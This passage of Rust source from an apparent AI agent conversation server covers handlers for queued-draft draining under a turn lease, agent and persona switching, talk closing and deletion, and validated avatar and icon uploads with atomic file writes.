8958    let live_set = Arc::clone(&turn.turns);
8959    // `Option` rather than binding `turn` directly to a `_turn` that lives
8960    // for the whole function: releasing it has to happen by calling
8961    // `TalkTurnGuard::release` from inside the locked branch below, which
8962    // takes `self` by value. Left as a plain drop instead, `Drop` would still
8963    // remove the id - correctly, if this loop is ever left some other way -
8964    // but doing it there misses the lock this loop is already holding, which
8965    // is the exact gap `release` exists to close.
8966    let mut turn = Some(turn);
8967    loop {
8968        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8969            // The lease was taken over while a turn ran. Whatever is queued
8970            // stays a draft; running it here would race the new owner.
8971            tracing::warn!("talk {id} lost its turn lease; not draining further");
8972            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8973            if let Some(turn) = turn.take() {
8974                turn.release(&mut live);
8975            }
8976            break;
8977        }
8978        {
8979            // A parking upgrade starts no further turn: whatever is queued
8980            // stays a durable draft for the successor.
8981            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8982            if live.parking {
8983                if let Some(turn) = turn.take() {
8984                    turn.release(&mut live);
8985                }
8986                break;
8987            }
8988        }
8989        // `talk::drain` takes the store lock and can write/rename the talk
8990        // file. Keep the turn mutex out of that synchronous work: it protects
8991        // every talk's in-memory claim, not this talk's disk operation.
8992        let observed = live_set
8993            .lock()
8994            .unwrap_or_else(PoisonError::into_inner)
8995            .queued
8996            .get(&id)
8997            .copied()
8998            .unwrap_or(0);
8999        let drained = blocking({
9000            let talks = talks.clone();
9001            let live_set = Arc::clone(&live_set);
9002            move || {
9003                // Promoting a draft is what starts a turn, so it is decided
9004                // under the same lock a parking upgrade takes: either the
9005                // promotion lands first (and its turn is waited for) or the
9006                // draft stays queued.
9007                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9008                let result = if live.parking {
9009                    Ok(None)
9010                } else {
9011                    talk::drain(&mut talk, &talks)
9012                };
9013                drop(live);
9014                Ok((talk, result))
9015            }
9016        })
9017        .await;
9018        let (next_talk, result) = match drained {
9019            Ok(drained) => drained,
9020            Err(e) => {
9021                tracing::warn!(
9022                    status = %e.status,
9023                    message = %e.message,
9024                    "talk {id} could not start queued-text drain"
9025                );
9026                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9027                turn.take()
9028                    .expect("held for the whole loop until released here")
9029                    .release(&mut live);
9030                break;
9031            }
9032        };
9033        talk = next_talk;
9034        let drained = match result {
9035            Ok(Some(drained)) => drained,
9036            Ok(None) => {
9037                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9038                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9039                    continue;
9040                }
9041                turn.take()
9042                    .expect("held for the whole loop until released here")
9043                    .release(&mut live);
9044                break;
9045            }
9046            Err(e) => {
9047                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9048                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9049                turn.take()
9050                    .expect("held for the whole loop until released here")
9051                    .release(&mut live);
9052                break;
9053            }
9054        };
9055        if let Some(started) = started.take() {
9056            let _ = started.send(true);
9057        }
9058        let responded = match turn.as_ref() {
9059            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9060            None => Err(anyhow::anyhow!("the turn guard was released")),
9061        };
9062        if let Err(e) = responded {
9063            tracing::warn!("talk {id} turn failed: {e:#}");
9064        }
9065    }
9066    drop(turn);
9067    if let Some(started) = started {
9068        let _ = started.send(false);
9069    }
9070}
9071
9072/// Clear a queued draft only if it remains exactly the one the caller saw.
9073async fn talk_pending_clear(
9074    State(ui): State<Arc<Ui>>,
9075    Path(id): Path<String>,
9076    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9077) -> ApiResult<Json<TalkView>> {
9078    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9079    blocking(move || {
9080        let id = resolve_talk(&ui.talks, &id)?;
9081        let mut talk = ui.talks.get(&id)?;
9082        if !talk.status.open() {
9083            return Err(ApiError::conflict(format!(
9084                "talk {} is {} and takes no more turns",
9085                talk.short(),
9086                talk.status.as_str()
9087            )));
9088        }
9089        if !talk::clear_pending_if_matches(
9090            &mut talk,
9091            &ui.talks,
9092            &body.expected_text,
9093            &body.expected_attachments,
9094        )? {
9095            return Err(ApiError::conflict(
9096                "queued message changed; reload it before clearing",
9097            ));
9098        }
9099        let thinking = ui.is_thinking(&talk.id);
9100        Ok(Json(TalkView::new(talk, thinking, &ui)))
9101    })
9102    .await
9103}
9104
9105/// Atomically edit a queued draft's text while preserving its attachments.
9106/// The snapshot fields make a concurrent queue or drain a conflict rather
9107/// than silently discarding either message.
9108async fn talk_pending_edit(
9109    State(ui): State<Arc<Ui>>,
9110    Path(id): Path<String>,
9111    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9112) -> ApiResult<Json<TalkView>> {
9113    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9114    let (view, reclaimed) = blocking({
9115        let ui = Arc::clone(&ui);
9116        move || {
9117            let id = resolve_talk(&ui.talks, &id)?;
9118            let mut talk = ui.talks.get(&id)?;
9119            if !talk.status.open() {
9120                return Err(ApiError::conflict(format!(
9121                    "talk {} is {} and takes no more turns",
9122                    talk.short(),
9123                    talk.status.as_str()
9124                )));
9125            }
9126            if !talk::edit_pending_message(
9127                &mut talk,
9128                &ui.talks,
9129                &body.text,
9130                &body.expected_text,
9131                &body.expected_attachments,
9132                body.message,
9133            )? {
9134                return Err(ApiError::conflict(
9135                    "queued message changed; reload it before editing",
9136                ));
9137            }
9138            let claim = match ui.begin_queued_talk_turn(&id)? {
9139                Some(turn_guard) => {
9140                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9141                    Some((talk.clone(), cfg, id.clone(), turn_guard))
9142                }
9143                None => None,
9144            };
9145            let thinking = ui.is_thinking(&id);
9146            Ok((TalkView::new(talk, thinking, &ui), claim))
9147        }
9148    })
9149    .await?;
9150    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9151        let talks = ui.talks.clone();
9152        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9153    }
9154    Ok(Json(view))
9155}
9156
9157/// The 409 for a talk that takes no more turns.
9158fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9159    if talk.status.open() {
9160        return Ok(());
9161    }
9162    Err(ApiError::conflict(format!(
9163        "talk {} is {} and takes no more turns",
9164        talk.short(),
9165        talk.status.as_str()
9166    )))
9167}
9168
9169/// The body of `POST /api/talks/{id}/agent`.
9170#[derive(Debug, Deserialize)]
9171struct TalkAgent {
9172    agent: String,
9173}
9174
9175/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9176/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9177/// start a turn on the old session between the check and the write; one that
9178/// arrives in that window finds the talk busy and becomes a draft.
9179async fn talk_agent(
9180    State(ui): State<Arc<Ui>>,
9181    Path(id): Path<String>,
9182    Json(body): Json<TalkAgent>,
9183) -> ApiResult<Json<TalkView>> {
9184    let id = {
9185        let ui = Arc::clone(&ui);
9186        blocking(move || resolve_talk(&ui.talks, &id)).await?
9187    };
9188    let repo = {
9189        let ui = Arc::clone(&ui);
9190        let id = id.clone();
9191        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9192    };
9193    let cfg = config_for(&repo).await?;
9194    // Refuse before taking the claim; see `talk_implementers`.
9195    {
9196        let ui = Arc::clone(&ui);
9197        let id = id.clone();
9198        let cfg = cfg.clone();
9199        let wanted = body.agent.clone();
9200        blocking(move || {
9201            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9202                .map_err(ApiError::bad_request_from)?;
9203            refuse_if_closed(&ui.talks.get(&id)?)
9204        })
9205        .await?;
9206    }
9207    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9208        return Err(ApiError::conflict(
9209            "a talk turn is running; change the agent once it has answered",
9210        ));
9211    };
9212    let switched = {
9213        let ui = Arc::clone(&ui);
9214        let id = id.clone();
9215        let cfg = cfg.clone();
9216        blocking(move || {
9217            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9218                .map_err(ApiError::bad_request_from)?;
9219            let mut talk = ui.talks.get(&id)?;
9220            if !talk.status.open() {
9221                return Err(ApiError::conflict(format!(
9222                    "talk {} is {} and takes no more turns",
9223                    talk.short(),
9224                    talk.status.as_str()
9225                )));
9226            }
9227            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9228            Ok(talk)
9229        })
9230        .await
9231    };
9232    // A `/say` that landed while this held the claim saw the talk busy and
9233    // left a durable draft, trusting the claim's owner to drain it. So the
9234    // claim is settled whatever the outcome. Release an empty draft's claim
9235    // before replying; queued drafts continue independently of the handler.
9236    let observed = ui.queued_generation(&id);
9237    let fresh = {
9238        let ui = Arc::clone(&ui);
9239        let id = id.clone();
9240        blocking(move || Ok(ui.talks.get(&id)?)).await
9241    };
9242    let draining = match fresh {
9243        Ok(talk) => {
9244            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9245        }
9246        Err(_) => false,
9247    };
9248    let talk = switched?;
9249    Ok(Json(TalkView::new(talk, draining, &ui)))
9250}
9251
9252/// The body of `POST /api/talks/{id}/persona`.
9253#[derive(Debug, Deserialize)]
9254struct TalkPersona {
9255    persona: String,
9256}
9257
9258/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9259/// like [`talk_agent`]: the turn guard is held for the change and always handed
9260/// to `drain_loop`, so a draft left meanwhile is not stranded.
9261async fn talk_persona(
9262    State(ui): State<Arc<Ui>>,
9263    Path(id): Path<String>,
9264    Json(body): Json<TalkPersona>,
9265) -> ApiResult<Json<TalkView>> {
9266    let id = {
9267        let ui = Arc::clone(&ui);
9268        blocking(move || resolve_talk(&ui.talks, &id)).await?
9269    };
9270    let repo = {
9271        let ui = Arc::clone(&ui);
9272        let id = id.clone();
9273        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9274    };
9275    let cfg = config_for(&repo).await?;
9276    // Refuse before taking the claim; see `talk_implementers`.
9277    {
9278        let ui = Arc::clone(&ui);
9279        let id = id.clone();
9280        let cfg = cfg.clone();
9281        let wanted = body.persona.clone();
9282        blocking(move || {
9283            if persona::find(&cfg.talk.personas, &wanted).is_none() {
9284                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9285            }
9286            refuse_if_closed(&ui.talks.get(&id)?)
9287        })
9288        .await?;
9289    }
9290    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9291        return Err(ApiError::conflict(
9292            "a talk turn is running; change the persona once it has answered",
9293        ));
9294    };
9295    let switched = {
9296        let ui = Arc::clone(&ui);
9297        let id = id.clone();
9298        let cfg = cfg.clone();
9299        blocking(move || {
9300            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9301                return Err(ApiError::bad_request(format!(
9302                    "unknown persona `{}`",
9303                    body.persona
9304                )));
9305            };
9306            let mut talk = ui.talks.get(&id)?;
9307            if !talk.status.open() {
9308                return Err(ApiError::conflict(format!(
9309                    "talk {} is {} and takes no more turns",
9310                    talk.short(),
9311                    talk.status.as_str()
9312                )));
9313            }
9314            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9315            Ok(talk)
9316        })
9317        .await
9318    };
9319    // As in `talk_agent`: settle the claim before replying, even on refusal.
9320    let observed = ui.queued_generation(&id);
9321    let fresh = {
9322        let ui = Arc::clone(&ui);
9323        let id = id.clone();
9324        blocking(move || Ok(ui.talks.get(&id)?)).await
9325    };
9326    let draining = match fresh {
9327        Ok(talk) => {
9328            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9329        }
9330        Err(_) => false,
9331    };
9332    let talk = switched?;
9333    Ok(Json(TalkView::new(talk, draining, &ui)))
9334}
9335
9336/// The body of `POST /api/talks/{id}/implementers`.
9337#[derive(Debug, Deserialize)]
9338struct TalkImplementers {
9339    implementers: u8,
9340}
9341
9342/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
9343/// like [`talk_agent`]: the turn guard is held for the change and always handed
9344/// to `drain_loop`, so a draft left meanwhile is not stranded.
9345async fn talk_implementers(
9346    State(ui): State<Arc<Ui>>,
9347    Path(id): Path<String>,
9348    Json(body): Json<TalkImplementers>,
9349) -> ApiResult<Json<TalkView>> {
9350    let id = {
9351        let ui = Arc::clone(&ui);
9352        blocking(move || resolve_talk(&ui.talks, &id)).await?
9353    };
9354    let repo = {
9355        let ui = Arc::clone(&ui);
9356        let id = id.clone();
9357        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9358    };
9359    let cfg = config_for(&repo).await?;
9360    // Refuse a request that cannot succeed before taking the claim: a claim
9361    // taken for it is handed to `drain_loop`, which holds the talk busy for a
9362    // moment, so a refusal would make the next request see "busy" instead of
9363    // its own answer. The checks after the claim stay the ones that decide.
9364    {
9365        let ui = Arc::clone(&ui);
9366        let id = id.clone();
9367        let cfg = cfg.clone();
9368        let wanted = body.implementers;
9369        blocking(move || {
9370            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9371            refuse_if_closed(&ui.talks.get(&id)?)
9372        })
9373        .await?;
9374    }
9375    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9376        return Err(ApiError::conflict(
9377            "a talk turn is running; change the implementers once it has answered",
9378        ));
9379    };
9380    let switched = {
9381        let ui = Arc::clone(&ui);
9382        let id = id.clone();
9383        let cfg = cfg.clone();
9384        blocking(move || {
9385            let chosen =
9386                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
9387            let mut talk = ui.talks.get(&id)?;
9388            if !talk.status.open() {
9389                return Err(ApiError::conflict(format!(
9390                    "talk {} is {} and takes no more turns",
9391                    talk.short(),
9392                    talk.status.as_str()
9393                )));
9394            }
9395            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9396            Ok(talk)
9397        })
9398        .await
9399    };
9400    // As in `talk_agent`: settle the claim before replying, even on refusal.
9401    let observed = ui.queued_generation(&id);
9402    let fresh = {
9403        let ui = Arc::clone(&ui);
9404        let id = id.clone();
9405        blocking(move || Ok(ui.talks.get(&id)?)).await
9406    };
9407    let draining = match fresh {
9408        Ok(talk) => {
9409            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9410        }
9411        Err(_) => false,
9412    };
9413    let talk = switched?;
9414    Ok(Json(TalkView::new(talk, draining, &ui)))
9415}
9416
9417/// `POST /api/talks/{id}/close`.
9418async fn talk_close(
9419    State(ui): State<Arc<Ui>>,
9420    Path(id): Path<String>,
9421) -> ApiResult<Json<TalkView>> {
9422    blocking(move || {
9423        let id = resolve_talk(&ui.talks, &id)?;
9424        let mut talk = ui.talks.get(&id)?;
9425        talk::close(&mut talk, &ui.talks)?;
9426        let thinking = ui.is_thinking(&talk.id);
9427        Ok(Json(TalkView::new(talk, thinking, &ui)))
9428    })
9429    .await
9430}
9431
9432/// `POST /api/talks/{id}/reopen`.
9433async fn talk_reopen(
9434    State(ui): State<Arc<Ui>>,
9435    Path(id): Path<String>,
9436) -> ApiResult<Json<TalkView>> {
9437    blocking(move || {
9438        let id = resolve_talk(&ui.talks, &id)?;
9439        let mut talk = ui.talks.get(&id)?;
9440        talk::reopen(&mut talk, &ui.talks)?;
9441        let thinking = ui.is_thinking(&talk.id);
9442        Ok(Json(TalkView::new(talk, thinking, &ui)))
9443    })
9444    .await
9445}
9446
9447/// `DELETE /api/talks/{id}`.
9448///
9449/// Removes the conversation's record and artifacts outright, unlike
9450/// [`talk_close`] which keeps the record as history. A turn already in
9451/// flight is not refused here the way [`run_delete`] refuses a live run:
9452/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
9453/// under [`Talks::guard`], that the record they are about to write back is
9454/// still there, so a delete racing a turn is safe without this route having
9455/// to know a turn is running at all.
9456async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9457    blocking(move || {
9458        let id = resolve_talk(&ui.talks, &id)?;
9459        ui.talks.remove(&id)?;
9460        Ok(StatusCode::NO_CONTENT)
9461    })
9462    .await
9463}
9464
9465fn talk_ids(root: &FsPath) -> Vec<String> {
9466    std::fs::read_dir(root)
9467        .into_iter()
9468        .flatten()
9469        .flatten()
9470        .filter_map(|e| {
9471            let path = e.path();
9472            if path.extension().is_some_and(|ext| ext == "json") {
9473                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9474            } else {
9475                None
9476            }
9477        })
9478        .collect()
9479}
9480
9481/// Expand an id or short id to exactly one talk id.
9482fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9483    if plain_record_id(id) && store.path_of(id).is_file() {
9484        return Ok(id.to_owned());
9485    }
9486    pick(talk_ids(store.root()), id, "talk")
9487}
9488
9489/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
9490/// future `talk-say`.
9491async fn talk_attachment_post(
9492    State(ui): State<Arc<Ui>>,
9493    Path(id): Path<String>,
9494    headers: HeaderMap,
9495    body: Bytes,
9496) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9497    let mime = validate_attachment(&headers, &body)?;
9498    let name = filename_header(&headers);
9499    let data = body.to_vec();
9500    blocking(move || {
9501        let id = resolve_talk(&ui.talks, &id)?;
9502        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9503        Ok((StatusCode::CREATED, Json(att)))
9504    })
9505    .await
9506}
9507
9508/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
9509/// `<img>` tag in the transcript.
9510async fn talk_attachment_get(
9511    State(ui): State<Arc<Ui>>,
9512    Path((id, att)): Path<(String, String)>,
9513) -> ApiResult<Response> {
9514    blocking(move || {
9515        let id = resolve_talk(&ui.talks, &id)?;
9516        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9517            return Err(ApiError::not_found(format!(
9518                "talk {id} has no attachment `{att}`"
9519            )));
9520        };
9521        Ok(attachment_response(&meta.mime, data))
9522    })
9523    .await
9524}
9525
9526/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
9527/// the icon setting, so changing it changes the URL.
9528fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9529    let id = avatar_encode(&p.id);
9530    format!(
9531        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9532        persona_icon::fingerprint(
9533            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9534        )
9535    )
9536}
9537
9538#[derive(Debug, Default, Deserialize)]
9539struct AvatarQuery {
9540    persona: Option<String>,
9541    /// Set by the page after the first load failed: skip the `icon`.
9542    builtin: Option<String>,
9543}
9544
9545/// Served with every built-in avatar: it is an image, so nothing else may run.
9546const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9547
9548fn builtin_avatar(id: &str) -> Response {
9549    svg_avatar(persona_icon::builtin_svg(id))
9550}
9551
9552async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9553    raster_or_builtin(
9554        read_icon_file(&avatar_setting_path(&ui.home, None))
9555            .filter(|_| q.builtin.is_none())
9556            .as_deref(),
9557        persona_icon::operator_svg(),
9558    )
9559}
9560
9561fn svg_avatar(svg: &'static str) -> Response {
9562    (
9563        [
9564            (header::CONTENT_TYPE, "image/svg+xml"),
9565            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9566            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9567            (header::CACHE_CONTROL, "no-cache"),
9568        ],
9569        svg,
9570    )
9571        .into_response()
9572}
9573
9574fn avatar_encode(value: &str) -> String {
9575    value
9576        .bytes()
9577        .map(|b| {
9578            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9579                char::from(b).to_string()
9580            } else {
9581                format!("%{b:02X}")
9582            }
9583        })
9584        .collect()
9585}
9586
9587// Display-only overrides live outside configuration and conversation records.
9588fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9589    let Some(id) = persona else {
9590        return home.join("avatars/operator.data");
9591    };
9592    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9593    let mut path = home.join("avatars/personas");
9594    for chunk in encoded.as_bytes().chunks(100) {
9595        path.push(std::str::from_utf8(chunk).expect("hex"));
9596    }
9597    path.join("icon.data")
9598}
9599
9600fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9601    match read_icon_file(&avatar_setting_path(home, Some(id))) {
9602        Some(value) if value == "builtin" => Some(String::new()),
9603        Some(value) => Some(value),
9604        None => configured.map(str::to_owned),
9605    }
9606}
9607
9608fn operator_icon_url(home: &FsPath) -> String {
9609    format!(
9610        "/avatars/operator.svg?v={}",
9611        persona_icon::fingerprint(
9612            read_icon_file(&avatar_setting_path(home, None))
9613                .as_deref()
9614                .or(Some(persona_icon::operator_svg()))
9615        )
9616    )
9617}
9618
9619fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9620    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9621        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9622            attachment_response(mime, bytes)
9623        }
9624        _ => svg_avatar(builtin),
9625    };
9626    response
9627        .headers_mut()
9628        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9629    response
9630}
9631
9632#[derive(Default, Deserialize)]
9633struct AvatarSettingsQuery {
9634    repo: Option<PathBuf>,
9635    persona: Option<String>,
9636    builtin: Option<String>,
9637    inherit: Option<String>,
9638}
9639
9640fn avatar_settings_specs(
9641    ui: &Ui,
9642    repo: Option<PathBuf>,
9643) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9644    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9645    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9646        .map(|cfg| cfg.talk.personas)
9647        .unwrap_or_default();
9648    Ok((repo, specs))
9649}
9650
9651fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9652    let Ok(entries) = std::fs::read_dir(path) else {
9653        return;
9654    };
9655    for entry in entries.flatten() {
9656        let name = entry.file_name().to_string_lossy().into_owned();
9657        if name == "icon.data" {
9658            let bytes: Option<Vec<u8>> = prefix
9659                .as_bytes()
9660                .chunks(2)
9661                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9662                .collect();
9663            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9664                out.push(id);
9665            }
9666        } else if name.len() <= 100
9667            && !name.is_empty()
9668            && name.bytes().all(|b| b.is_ascii_hexdigit())
9669            && entry.file_type().is_ok_and(|t| t.is_dir())
9670        {
9671            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9672        }
9673    }
9674}
9675
9676async fn avatar_settings_get(
9677    State(ui): State<Arc<Ui>>,
9678    Query(q): Query<AvatarSettingsQuery>,
9679) -> ApiResult<Json<serde_json::Value>> {
9680    blocking(move || {
9681        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9682        let mut catalog = persona::catalog(&specs);
9683        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9684        let mut saved = Vec::new();
9685        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9686        for id in saved {
9687            if !catalog.iter().any(|p| p.id == id) {
9688                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9689            }
9690        }
9691        let personas: Vec<_> = catalog.iter().map(|p| {
9692            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9693            let override_state = match saved.as_deref() {
9694                Some("builtin") => "builtin",
9695                Some(_) => "custom",
9696                None => "inherit",
9697            };
9698            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9699            serde_json::json!({"id":p.id,"name":p.name,
9700                "override_state":override_state,"has_config_icon":p.icon.is_some(),
9701                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9702                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9703        }).collect();
9704        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9705    }).await
9706}
9707
9708async fn settings_persona_avatar(
9709    State(ui): State<Arc<Ui>>,
9710    Query(q): Query<AvatarSettingsQuery>,
9711) -> ApiResult<Response> {
9712    blocking(move || {
9713        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9714        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9715        let found = persona::find(&specs, id);
9716        let icon =
9717            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9718        Ok(raster_or_builtin(
9719            icon.as_deref().filter(|_| q.builtin.is_none()),
9720            persona_icon::builtin_svg(id),
9721        ))
9722    })
9723    .await
9724}
9725
9726fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9727    if q.persona
9728        .as_ref()
9729        .is_some_and(|p| p.is_empty() || p.len() > 4096)
9730    {
9731        return Err(ApiError::bad_request("invalid persona id"));
9732    }
9733    Ok(())
9734}
9735
9736async fn avatar_settings_put(
9737    State(ui): State<Arc<Ui>>,
9738    Query(q): Query<AvatarSettingsQuery>,
9739    Json(upload): Json<MagiIconUpload>,
9740) -> ApiResult<Json<serde_json::Value>> {
9741    blocking(move || {
9742        validate_avatar_target(&q)?;
9743        save_icon_file(
9744            &avatar_setting_path(&ui.home, q.persona.as_deref()),
9745            &upload.icon,
9746        )
9747        .map_err(ApiError::bad_request_from)?;
9748        Ok(Json(serde_json::json!({"saved":true})))
9749    })
9750    .await
9751}
9752
9753async fn avatar_settings_delete(
9754    State(ui): State<Arc<Ui>>,
9755    Query(q): Query<AvatarSettingsQuery>,
9756) -> ApiResult<Json<serde_json::Value>> {
9757    blocking(move || {
9758        validate_avatar_target(&q)?;
9759        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9760        if q.persona.is_some() && q.inherit.is_none() {
9761            atomic_icon_write(&path, "builtin")?;
9762        } else {
9763            match std::fs::remove_file(path) {
9764                Ok(()) => (),
9765                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9766                Err(e) => return Err(anyhow::Error::from(e).into()),
9767            }
9768        }
9769        Ok(Json(serde_json::json!({"saved":true})))
9770    })
9771    .await
9772}
9773
9774// The global MAGI icon is deliberately independent of repository configuration.
9775fn magi_icon_path(home: &FsPath) -> PathBuf {
9776    home.join("magi-icon.data")
9777}
9778
9779fn read_magi_icon(home: &FsPath) -> Option<String> {
9780    read_icon_file(&magi_icon_path(home))
9781}
9782
9783fn read_icon_file(path: &FsPath) -> Option<String> {
9784    let metadata = std::fs::metadata(path).ok()?;
9785    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
9786        return None;
9787    }
9788    let file = std::fs::File::open(path).ok()?;
9789    use std::io::Read;
9790    let mut text = String::new();
9791    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
9792        .read_to_string(&mut text)
9793        .ok()?;
9794    if text.len() > persona_icon::ICON_MAX_BYTES {
9795        return None;
9796    }
9797    if text == "builtin" {
9798        return Some(text);
9799    }
9800    validate_uploaded_icon(&text).ok()?;
9801    Some(text)
9802}
9803
9804fn magi_icon_url(home: &FsPath) -> String {
9805    format!(
9806        "/avatars/magi?v={}",
9807        persona_icon::fingerprint(read_magi_icon(home).as_deref())
9808    )
9809}
9810
9811async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
9812    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
9813}
9814
9815#[derive(Deserialize)]
9816struct MagiIconUpload {
9817    icon: String,
9818}
9819
9820fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
9821    save_icon_file(&magi_icon_path(home), icon)
9822}
9823
9824fn validate_uploaded_icon(icon: &str) -> Result<()> {
9825    if !icon.starts_with("data:") {
9826        anyhow::bail!("upload a raster image");
9827    }
9828    let (mime, bytes) = persona_icon::load(icon)?;
9829    if sniffed_mime(&bytes) != Some(mime) {
9830        anyhow::bail!("image content does not match its type");
9831    }
9832    Ok(())
9833}
9834
9835fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
9836    validate_uploaded_icon(icon)?;
9837    atomic_icon_write(path, icon)
9838}
9839
9840fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
9841    let home = path.parent().expect("icon parent");
9842    std::fs::create_dir_all(home)?;
9843    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
9844    let temp = home.join(format!(".magi-icon-{token}.tmp"));
9845    let result = (|| -> Result<()> {
9846        use std::io::Write;
9847        let mut file = std::fs::OpenOptions::new()
9848            .write(true)
9849            .create_new(true)
9850            .open(&temp)?;
9851        file.write_all(icon.as_bytes())?;
9852        file.sync_all()?;
9853        std::fs::rename(&temp, path)?;
9854        Ok(())
9855    })();
9856    let _ = std::fs::remove_file(temp);
9857    result?;
9858    Ok(())
9859}
9860
9861async fn magi_icon_put(
9862    State(ui): State<Arc<Ui>>,
9863    Json(upload): Json<MagiIconUpload>,
9864) -> ApiResult<Json<serde_json::Value>> {
9865    blocking(move || {
9866        if !upload.icon.starts_with("data:") {
9867            return Err(ApiError::bad_request("upload a raster image"));
9868        }
9869        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
9870        if sniffed_mime(&bytes) != Some(mime) {
9871            return Err(ApiError::bad_request(
9872                "image content does not match its type",
9873            ));
9874        }
9875        save_magi_icon(&ui.home, &upload.icon)?;
